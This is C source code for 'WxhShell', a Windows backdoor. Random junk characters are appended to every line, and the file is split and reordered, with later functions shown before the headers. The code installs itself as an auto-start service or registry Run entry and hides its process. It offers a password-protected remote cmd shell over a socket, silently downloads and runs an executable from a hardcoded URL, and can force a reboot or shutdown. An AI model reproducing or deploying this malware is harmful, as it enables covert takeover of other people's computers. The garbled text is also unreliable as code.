    send(wsh,msg_ws_err,strlen(msg_ws_err),0); Sc9}W U  
    else { bPVQ-  
    closesocket(wsh); v/x~L$[  
    ExitThread(0); R3hyz~\x&  
    } PauF)p  
    break; &n~v;M  
    } /&+*X)#v  
  // 获取shell ;|pw;-  
  case 's': { U5ME`lN*`  
    CmdShell(wsh); vJ{aBx`VS  
    closesocket(wsh); h?P- :E  
    ExitThread(0); +'{d^-( (  
    break; GUC.t7!  
  } ^T*'B-`C7X  
  // 退出 9wdl1QS  
  case 'x': { A.cNOous|  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); Td 5yRN! ?  
    CloseIt(wsh); 2x!cblo  
    break; PnZY%+[I  
    } #AF.1;(k  
  // 离开 `oOVR6{K9  
  case 'q': { s y>}2orj~  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); `Ha<t.v(  
    closesocket(wsh); c]68$;Z7  
    WSACleanup(); 'a G`qPB  
    exit(1); N2 .Ym;^  
    break; xjh(;S'  
        } >hO9b;F}  
  } /~3kkM(Ty  
  } Mb=j'H<N@  
J~|:Q.Rt`  
  // 提示信息 c\OLf_Uf  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); Ogu";p(  
} %r]V:d+  
  } J*4T| #0  
A,4Z{f83  
  return; '$5Qdaj  
} `J %35  
AmB*4p5b  
// shell模块句柄 WSbD."p<  
int CmdShell(SOCKET sock) [oOV@GE  
{ 9QHV%%  
STARTUPINFO si; N#GMvU#R  
ZeroMemory(&si,sizeof(si)); 5#~E[dr  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; <-"[9 w  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; w+gPU1|(r  
PROCESS_INFORMATION ProcessInfo; KJ cuZ."wX  
char cmdline[]="cmd"; FD/=uIXH2  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); @  \*Zq  
  return 0; MG vp6/Pd  
} !md1~g$rN  
6 #k mV  
// 自身启动模式 "'~&D/7  
int StartFromService(void) 5DL(#9F8b9  
{ .*&F  
typedef struct &M7AM"9  
{ v9"03 =h  
  DWORD ExitStatus; +LF`ZXe8l  
  DWORD PebBaseAddress; @T%8EiV  
  DWORD AffinityMask; B-h@\y  
  DWORD BasePriority; UB w*}p  
  ULONG UniqueProcessId; ny1Dg$u i2  
  ULONG InheritedFromUniqueProcessId; ]h'*L`  
}   PROCESS_BASIC_INFORMATION; @3`Pq2<  
%xdyG Al:  
PROCNTQSIP NtQueryInformationProcess; WHcw5_3#  
g`dAj4B  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; W1ql[DqE{  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; bMGXx>x  
yH0vESgv  
  HANDLE             hProcess; S]?I7_  
  PROCESS_BASIC_INFORMATION pbi; gwDVWhq  
m8Rt>DY  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); $Y[C A.F  
  if(NULL == hInst ) return 0; eC`G0.op  
k,61Va  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); 6*:U1{Gl)  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); $:D\yZ,  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); >,x``-  
lJt?0;gn  
  if (!NtQueryInformationProcess) return 0; Bi7&yS5V  
Jk57| )/  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); ~:99 )AOM  
  if(!hProcess) return 0; Bh;N:{&^Eu  
{Rq5=/b  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; G%>M@nYUE  
|xrnLdng0R  
  CloseHandle(hProcess); |eqp3@Y1E  
|y4j:`@.  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); /L=Y8tDt  
if(hProcess==NULL) return 0; as"@E>a  
@b{$s  
HMODULE hMod; wZt2%+$6m  
char procName[255]; E.G]T#wt0  
unsigned long cbNeeded; |a=7P  
{T3~js   
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); 7GRPPh<4  
a}[rk*QmZ  
  CloseHandle(hProcess); M/kBAxNIC|  
iUlSRfrC$#  
if(strstr(procName,"services")) return 1; // 以服务启动 q^6l`JJ  
x!fgZr{  
  return 0; // 注册表启动 Esf\Bo"  
} T=':$(t  
gw<u dhk  
// 主模块 P>'29$1'  
int StartWxhshell(LPSTR lpCmdLine) lQpl8>  
{ D&1(qi=x&  
  SOCKET wsl; vw :&c.zd  
BOOL val=TRUE; !ezy  v`  
  int port=0; Ks-$([_F   
  struct sockaddr_in door; zGa V^X  
,,;vG6^a  
  if(wscfg.ws_autoins) Install();  NG?g(  
t(UdV  
port=atoi(lpCmdLine); 04:QEC"9mj  
uG(XbDZZ1W  
if(port<=0) port=wscfg.ws_port; EPU3Jban  
[0lO0ik>G  
  WSADATA data; XO}SPf-  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; !UHX? <3r  
yeA]j[ #  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   fa!8+kfi  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); >^D5D%"  
  door.sin_family = AF_INET; FY pspv?4  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); V^_U=Ed@M  
  door.sin_port = htons(port); #lF 2q w  
G4uA&"OE  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { ,; n[_f  
closesocket(wsl); lD$\t/8B  
return 1; ,,G'Zur7  
} s3=sl WY=  
-fOBM 4  
  if(listen(wsl,2) == INVALID_SOCKET) { @ X5#?  
closesocket(wsl); ~'N+O K  
return 1; zZP&`#TAy  
} ?L6wky{  
  Wxhshell(wsl); 7h`t-6<!q  
  WSACleanup(); Xt!wO W  
`o21f{1]X&  
return 0; nGxG!  
T-Yb|@4  
} ]j]<CqG  
Kxi@"<`S  
// 以NT服务方式启动 63kZ#5g(Dw  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) TjOK8 t  
{ ow;a7  
DWORD   status = 0; s`=&l  
  DWORD   specificError = 0xfffffff; !{vZvy"  
Pb<6-Jc[  
  serviceStatus.dwServiceType     = SERVICE_WIN32; on 4 $n7  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; 6E9o*YSk  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; @>+`1C  
  serviceStatus.dwWin32ExitCode     = 0; 5m\)82s  
  serviceStatus.dwServiceSpecificExitCode = 0; 5>h/LE]"  
  serviceStatus.dwCheckPoint       = 0; "8E=*2fcw  
  serviceStatus.dwWaitHint       = 0; =.qPjp_Qd  
37 *2/N2  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); X39%O'  
  if (hServiceStatusHandle==0) return; ,_ @) IN  
Uurpho_~  
status = GetLastError(); =KHX_ib  
  if (status!=NO_ERROR) {Rn*)D9  
{ @_?Uowc8  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; zKThM#.Wa  
    serviceStatus.dwCheckPoint       = 0; jWso'K  
    serviceStatus.dwWaitHint       = 0; y0'WB`hNQ  
    serviceStatus.dwWin32ExitCode     = status; I(<Trn  
    serviceStatus.dwServiceSpecificExitCode = specificError; 'N`x@(  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); BwVq:)P/R  
    return; vd/BO  
  } 8L[\(~Zf  
$?On,U  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; {"O-/* f+(  
  serviceStatus.dwCheckPoint       = 0; V-18~+F~"a  
  serviceStatus.dwWaitHint       = 0; r9p ((ir  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); -c#vWuLl  
} fC/P W`4Ae  
/*G bl  
// 处理NT服务事件,比如:启动、停止 d"S\j@  
VOID WINAPI NTServiceHandler(DWORD fdwControl) # S0N`V  
{ :0p$r pJP  
switch(fdwControl) 0 > QqsQ  
{ ES)_X:\X?V  
case SERVICE_CONTROL_STOP: ;X+cS,h  
  serviceStatus.dwWin32ExitCode = 0; RtEx WTc  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; RY\ 0dv>  
  serviceStatus.dwCheckPoint   = 0;  {IT xHt  
  serviceStatus.dwWaitHint     = 0; 4^!%>V"d/  
  { |#Q0UM|'Q  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); EmyE%$*T  
  } 1w+)ne_&  
  return; gFXz:!A  
case SERVICE_CONTROL_PAUSE: 31N5dIi,  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; [Bj\h7 G  
  break; w8F`RRHEE  
case SERVICE_CONTROL_CONTINUE: 'fZ\uMdTx  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; hJ?PV@xy  
  break; XE#$|Z  
case SERVICE_CONTROL_INTERROGATE: H-eHX3c7  
  break; )U{\c2b  
}; hLT?aQLx  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); H%{k.#O  
} $)6x3&]P  
7_J0[C!G  
// 标准应用程序主函数 }/jWa |)f  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) gI/(hp3ob  
{ 6UU<:KH  
0JW =RW  
// 获取操作系统版本 u.}H)wt  
OsIsNt=GetOsVer(); <(1[n pS&+  
GetModuleFileName(NULL,ExeFile,MAX_PATH); (Mw+SM3<  
w,t !<i  
  // 从命令行安装 I(b]V!mj:  
  if(strpbrk(lpCmdLine,"iI")) Install(); NzS`s,N4/0  
uW4.Q_O!H  
  // 下载执行文件 0XI6gPo%  
if(wscfg.ws_downexe) { K*M1$@5  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) UD Pn4q  
  WinExec(wscfg.ws_filenam,SW_HIDE); h r6?9RJY  
} (UZ].+)s  
"YVr/u  
if(!OsIsNt) { Y4[oa?G  
// 如果时win9x,隐藏进程并且设置为注册表启动 k h6n(B\  
HideProc(); &,* ILz  
StartWxhshell(lpCmdLine); @0%[4  
} *DQa6,b  
else /)sP<WPQ 6  
  if(StartFromService()) F6_e n z  
  // 以服务方式启动  hRqr  
  StartServiceCtrlDispatcher(DispatchTable); H`jnChD:M'  
else pk6<wAs*?#  
  // 普通方式启动 A>)Ced!  
  StartWxhshell(lpCmdLine); RQ4+EW 1G  
BadnL<cj]  
return 0; BN6cu9a  
} EtQ:x$S_  
24\^{3nOK  
cI-@nV  
*DvQnj  
=========================================== #VsS C1  
1/%5pb2\  
onm" 7JsO'  
Ql"~ z^L  
CtZOIx.;|  
\5j#ad  
" q``/7  
-] G=Q1 1  
#include <stdio.h> X2{Aa T*M  
#include <string.h> c GyBml1  
#include <windows.h> tRNMiU  
#include <winsock2.h> TgKSE1  
#include <winsvc.h> V;hO1xfR3&  
#include <urlmon.h> 5ka6=R(r  
WT}x Cni  
#pragma comment (lib, "Ws2_32.lib") Uy?X-"UR  
#pragma comment (lib, "urlmon.lib") 7Rn 4gT  
3mL(xpT.8z  
#define MAX_USER   100 // 最大客户端连接数 lHE \Z`  
#define BUF_SOCK   200 // sock buffer R0K{wY58  
#define KEY_BUFF   255 // 输入 buffer \y+^r|IL  
ZuKOscVS#T  
#define REBOOT     0   // 重启 &#OF,_6"m  
#define SHUTDOWN   1   // 关机 [MD"JW?4B  
;WgzR_'!'  
#define DEF_PORT   5000 // 监听端口 EA z>`~  
<YrsS-9  
#define REG_LEN     16   // 注册表键长度 bmh@SB  
#define SVC_LEN     80   // NT服务名长度 G/_xn5XDD  
dJ>tM'G  
// 从dll定义API 8!MVDp[|"  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); OHv9|&Tpl  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); V6B[eV$D  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); 40[@d  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); 0a1Mu>P,  
0v``4z2Z  
// wxhshell配置信息 P G zwS  
struct WSCFG { 2>f3n W  
  int ws_port;         // 监听端口 W*/2x8$d  
  char ws_passstr[REG_LEN]; // 口令 gLlA'`!  
  int ws_autoins;       // 安装标记, 1=yes 0=no n6 wx/:  
  char ws_regname[REG_LEN]; // 注册表键名 <RcB: h  
  char ws_svcname[REG_LEN]; // 服务名 -h=wLYl@0i  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 '@5 x=>  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 5?|y%YH;R\  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 %v UUx+  
int ws_downexe;       // 下载执行标记, 1=yes 0=no tH:?aP*2  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" EJNHZ<  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 5acC4v!T  
#TcX5  
}; yZb})4.  
r]Lj@0F>8  
// default Wxhshell configuration t| B<F t^  
struct WSCFG wscfg={DEF_PORT, V7vojm4 O  
    "xuhuanlingzhe", ] #7baZ  
    1, w:](F^<s,  
    "Wxhshell", v~0lZe  
    "Wxhshell", =w<iYO  
            "WxhShell Service", ,V''?@  
    "Wrsky Windows CmdShell Service", E!`/XB/nA  
    "Please Input Your Password: ", -V P_Aw$  
  1, %VE FruM  
  "http://www.wrsky.com/wxhshell.exe", "B9zQ,[Q  
  "Wxhshell.exe" ]deO\mB  
    }; b,47 EJ}  
3TN'1D ei  
// 消息定义模块 6U,:J'5gP  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; Q+'fTmT[,  
char *msg_ws_prompt="\n\r? for help\n\r#>"; nYO$ |/e  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; -6^Ee?"  
char *msg_ws_ext="\n\rExit."; ony;U#^T  
char *msg_ws_end="\n\rQuit."; pP%+@;  
char *msg_ws_boot="\n\rReboot..."; WGo ryvEx  
char *msg_ws_poff="\n\rShutdown..."; ?P}) Qa  
char *msg_ws_down="\n\rSave to "; %D7'7E8.  
cW ?6Iao  
char *msg_ws_err="\n\rErr!"; To-$)GQ@W  
char *msg_ws_ok="\n\rOK!"; "&\(:#L  
\aN5:Yy  
char ExeFile[MAX_PATH]; p*JP='p  
int nUser = 0; @P[%6 d  
HANDLE handles[MAX_USER]; mS.!lkV  
int OsIsNt; Ds@K%f(.?w  
7 ,Q7`}gBf  
SERVICE_STATUS       serviceStatus; ,t|_Nc  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; H~:g =Zw  
}ee3'LUPX  
// 函数声明 j`_Z`eG  
int Install(void); 9h<iw\ $'  
int Uninstall(void); iztgk/(+G  
int DownloadFile(char *sURL, SOCKET wsh); 89W8cJ$yW  
int Boot(int flag);  h}}7_I9  
void HideProc(void); "o@R}_4]q  
int GetOsVer(void); Vkqfs4t  
int Wxhshell(SOCKET wsl); \2Kl]G(w%y  
void TalkWithClient(void *cs); z; >O5a>z  
int CmdShell(SOCKET sock); xX~m Fz0C  
int StartFromService(void); TC ;Aj|)N  
int StartWxhshell(LPSTR lpCmdLine); [7[$P.MS{  
^plP1c:  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); UM'JK#P"  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); Ey_mK\'  
:4pO/I ~  
// 数据结构和表定义 u%Z4 8wr  
SERVICE_TABLE_ENTRY DispatchTable[] = aZmbt,.V  
{ {q&A/  
{wscfg.ws_svcname, NTServiceMain}, D:(h^R0;  
{NULL, NULL} @s\}ER3  
}; =4Jg6JKYg  
GF0Utp:Zf;  
// 自我安装 4ijZQ  
int Install(void) vmW`}FKW  
{ j>~ @vq  
  char svExeFile[MAX_PATH]; (e<p^T J]  
  HKEY key; N9z!-y'X  
  strcpy(svExeFile,ExeFile); K81&BVx/  
=g=Vv"B_  
// 如果是win9x系统,修改注册表设为自启动 1+-F3ROP  
if(!OsIsNt) { w_Z*X5u  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { " j:15m5  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); _$v$v$74^  
  RegCloseKey(key); ^AO2%09.S  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { DyQvk  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); 1z3I^gI*i  
  RegCloseKey(key); L.a~vk 1  
  return 0; [VOw:|Tt  
    } ;bq EfV0`2  
  } hiaTJE|J?  
} |G)bnmi7  
else { ;=8@@9  
&<C&(g{Z  
// 如果是NT以上系统,安装为系统服务 =[Tf9u QY  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); <"S/M]9  
if (schSCManager!=0) JZ-M<rcC  
{ > 'JWW*Y!  
  SC_HANDLE schService = CreateService k59.O~0V  
  ( >k u7{1)  
  schSCManager, IZ]L.0,  
  wscfg.ws_svcname, $U%N$_k?  
  wscfg.ws_svcdisp, oXqx]@7  
  SERVICE_ALL_ACCESS, tNW0 C]  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , C}]rx{xC  
  SERVICE_AUTO_START, 3N{ ZX{}  
  SERVICE_ERROR_NORMAL, ;giT[KK  
  svExeFile, K]i2$M  
  NULL, '9 <APUyu  
  NULL, q -^Z=,<  
  NULL, }5"19 Go?  
  NULL, T9gQq 7(l  
  NULL iLFhm4.PO  
  ); yMf["AvG  
  if (schService!=0) iHyA;'!Os  
  { qV@Hu/;  
  CloseServiceHandle(schService); 3. g-V  
  CloseServiceHandle(schSCManager); j<i: rk|  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); +]{PEnJ  
  strcat(svExeFile,wscfg.ws_svcname); Rs 0Gqx  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { .eDI ZX  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); &E!-~'|z  
  RegCloseKey(key); B 6,X)  
  return 0; DVRbTz3V  
    } 7me1 :}4  
  } R<1[hH9"o  
  CloseServiceHandle(schSCManager); /?:]f  
} fOO[`"'Pq  
} \"A~ks~  
'gz@UE1  
return 1; 5LxzET"P  
} cUr'mb  
]F,v#6qi  
// 自我卸载 Ea3 4x  
int Uninstall(void) U^$l$"~"  
{ LpSd/_^b  
  HKEY key; h&?tF~h  
SyR[G*djl  
if(!OsIsNt) { $RV'DQO  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { l@%7] 0!T  
  RegDeleteValue(key,wscfg.ws_regname); D,'@b+B[  
  RegCloseKey(key); C Eb .?B  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { O7T wM Yh  
  RegDeleteValue(key,wscfg.ws_regname); Q,xKi|$r  
  RegCloseKey(key); ehls:)F  
  return 0; )Y,>cg:z~  
  } y]E ?\03"  
} ,0[h`FN  
} LgS.%Mn  
else { 7~ok*yGw  
`=~d^wKYJ3  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); 9Z_98 Rh  
if (schSCManager!=0) V9kL\Ys  
{ }!RFX)T  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); ,LJX  
  if (schService!=0) _p=O*$b.  
  { uCpk1d  
  if(DeleteService(schService)!=0) { B1a&'WX?  
  CloseServiceHandle(schService); 68jq1Y Pv  
  CloseServiceHandle(schSCManager); {\f`s^;8{  
  return 0; K3^N_^H  
  } 1PJ8O|Z t8  
  CloseServiceHandle(schService); d/:zO4v3  
  } Wtwh.\Jba  
  CloseServiceHandle(schSCManager); |7l*  
} t6O/Q0_  
} AW:WDNQh8n  
mEe JK3D[  
return 1; "5R8Zl+  
} %8yX6`lH  
P$i?%P~  
// 从指定url下载文件 G@igxnm}  
int DownloadFile(char *sURL, SOCKET wsh) n~k9Z^ $  
{ u!&Vbo? .B  
  HRESULT hr; pjX')i<  
char seps[]= "/"; ryp@<}A]!d  
char *token; YWPAc>uw,  
char *file; |>P`Gl]E  
char myURL[MAX_PATH]; (""1[XURQK  
char myFILE[MAX_PATH]; ~?n)1Vr|  
r$~ f[cA  
strcpy(myURL,sURL); <ib# PLRM  
  token=strtok(myURL,seps); Ym*Ed[S  
  while(token!=NULL) u%=M4|7  
  { M&iA^Wrs  
    file=token; T!N,1"r  
  token=strtok(NULL,seps); ZO $}m?  
  } t`X-jr)g  
lvz&7Zb  
GetCurrentDirectory(MAX_PATH,myFILE); +kKfx!  
strcat(myFILE, "\\"); <t0o{}^P*  
strcat(myFILE, file); ye)CfP=ID\  
  send(wsh,myFILE,strlen(myFILE),0); ?5!>k^q  
send(wsh,"...",3,0); %maLo RJ  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); ;yO7!{_  
  if(hr==S_OK) +<P%v k  
return 0; ~Xg@,?Zr  
else 2*K _RMr~  
return 1; 7.PG*q  
wZm=h8d  
} )_nc;&%w  
n1xN:A  
// 系统电源模块 "p~1| ?T  
int Boot(int flag) QviH+9  
{ p}NIZ)]$  
  HANDLE hToken; *a7&v3X  
  TOKEN_PRIVILEGES tkp; u@$C i/J*  
'i|z>si[*  
  if(OsIsNt) { b;O|-2AR  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); nx >PZb  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); +SSF=]4+  
    tkp.PrivilegeCount = 1; Y|=/*?o}  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; t F<|Eja *  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); q|. X[~e|  
if(flag==REBOOT) { FU|c[u|z  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) h@"dpmpe  
  return 0; 6* /o  
} H`$s63  
else { {%5tqF  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) C{ {DZ*  
  return 0; L+PrV y  
} 1wl8  
  } f`?Y+nu}  
  else { ]kuMzTH  
if(flag==REBOOT) { P2h}3%cJq  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) o5\nqw^  
  return 0; v(\kSlJ  
} ^t=Hl  
else { mT8($KQ  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) fRe$}KX  
  return 0; 0k5;Qf6A  
} sW B;?7P  
} {<a(1#{  
!'No5  
return 1; vb-L "S?kC  
} (ROurq"  
|:s 4#3  
// win9x进程隐藏模块 A`4j=OF\  
void HideProc(void) sV/#P<9  
{ 42?X)n>  
Pgs^#(^>  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); O>z M(I+p  
  if ( hKernel != NULL ) 95,y@~ *]  
  { >`a)gky%~  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); YB h :  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); fo$iV;x`  
    FreeLibrary(hKernel); ,o}!pQ  
  } fMn7E8.  
B1oy,'  
return; dwKre#4F  
} iXc-_V6  
QW.VAF\6*  
// 获取操作系统版本 k, )7v  
int GetOsVer(void) 7CzZHkTg  
{ h5G>FPM-=  
  OSVERSIONINFO winfo; SxYX`NQ  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); ?]081l7cd  
  GetVersionEx(&winfo); CE>RAerY  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) 1o7 pMp=  
  return 1; /H=fK  
  else )FM/^  
  return 0; l|`%FB^k  
} ip4:px-  
C26PQGo#$  
// 客户端句柄模块 ^.F@yo2}  
int Wxhshell(SOCKET wsl) g83!il\  
{ )p>BN|L  
  SOCKET wsh; 7'_zJI^  
  struct sockaddr_in client; AG2iLictv  
  DWORD myID; Ep0L51Q  
Z'PE^ ,  
  while(nUser<MAX_USER) l tr =_  
{ KE+y'j#C3  
  int nSize=sizeof(client); 8@|_];9#.  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); >b#z o,  
  if(wsh==INVALID_SOCKET) return 1; qx<`Kc4  
lztPexyXZ  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); lcij}-z:%e  
if(handles[nUser]==0) 3ryIXC\v  
  closesocket(wsh); W?!(/`J]  
else W{l+_a{/9  
  nUser++; MN|y5w}$u  
  } EVMhc"L  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); ,b=&iDc  
S=^yJ6 xJ  
  return 0; p%CAicn  
} G8@({EY  
%O;"Z`I  
// 关闭 socket iLn)Z0<\o  
void CloseIt(SOCKET wsh) 6#O n .Q  
{ LbtcZ)D!  
closesocket(wsh); Dg/&m*Yl  
nUser--; L@w|2  
ExitThread(0); *KF:  
} oYnA 3  
_/ZIDIn  
// 客户端请求句柄 nbMnqkNb  
void TalkWithClient(void *cs) 8zGe5Dn9  
{ 'i_od|19~h  
k/O|ia 6  
  SOCKET wsh=(SOCKET)cs; =Z iyT$p  
  char pwd[SVC_LEN]; ; )O)\__"-  
  char cmd[KEY_BUFF]; B=#rp*vwL  
char chr[1]; X3I\O,"I  
int i,j; T5&jpP`M  
QfB \h[A  
  while (nUser < MAX_USER) { f3s0.G#l  
x`w 4LF  
if(wscfg.ws_passstr) { * I`, L/  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); %up ]"L&i  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); cu]2`DF  
  //ZeroMemory(pwd,KEY_BUFF); eb2~$ ,$  
      i=0; *@l NL=%R  
  while(i<SVC_LEN) { m,$oV?y>j  
Ck2O?Ne  
  // 设置超时 uh%%MhTjv  
  fd_set FdRead; too=+'<N</  
  struct timeval TimeOut; RyC]4 QyC  
  FD_ZERO(&FdRead); w"bQxS~$y  
  FD_SET(wsh,&FdRead); gVsAz  
  TimeOut.tv_sec=8; g4P059  
  TimeOut.tv_usec=0; <P ~+H>;  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); e//28=OH  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); Ttb @98  
p8Di9\}  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); qiiX49}{  
  pwd=chr[0]; ($' rV!}  
  if(chr[0]==0xd || chr[0]==0xa) { |Rw0$he  
  pwd=0; 0O+s3#"?@  
  break; b~  
  } AYd7qx:~  
  i++; 0tm%Kd  
    } :S0r)CNP  
B%Dy;zdWd/  
  // 如果是非法用户,关闭 socket lz EF^6I  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); $:s1x\ol  
} tfvX0J  
3/>McZ@OH  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); Byyus[b'A  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); nZhL  
3_B .W  
while(1) { K& <|94_k  
<w(UDZ  
  ZeroMemory(cmd,KEY_BUFF); kYl$V =  
J2Ocf&y;  
      // 自动支持客户端 telnet标准   ,Ww)>O+  
  j=0; C;}~C:aJ  
  while(j<KEY_BUFF) { ;FQAL@"Yj  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); {N[IjY  
  cmd[j]=chr[0]; [Pi8gj*  
  if(chr[0]==0xa || chr[0]==0xd) { C,hs!v6  
  cmd[j]=0; K_bF)6"  
  break; ~;QO`I=0P  
  } PQ<""_S||  
  j++; 1mgLH  
    } E< "aUnI  
k'&BAC.K,  
  // 下载文件 rXuhd [!(P  
  if(strstr(cmd,"http://")) { vr/V_  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); )\l}i%L:  
  if(DownloadFile(cmd,wsh)) $SRpFz5y$  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); ] NL-)8u  
  else GN?^7kI  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); thDQ44<#)  
  } }|%dN*',  
  else { [94A?pn[z  
>y"W(  
    switch(cmd[0]) { q|b#=Af]g  
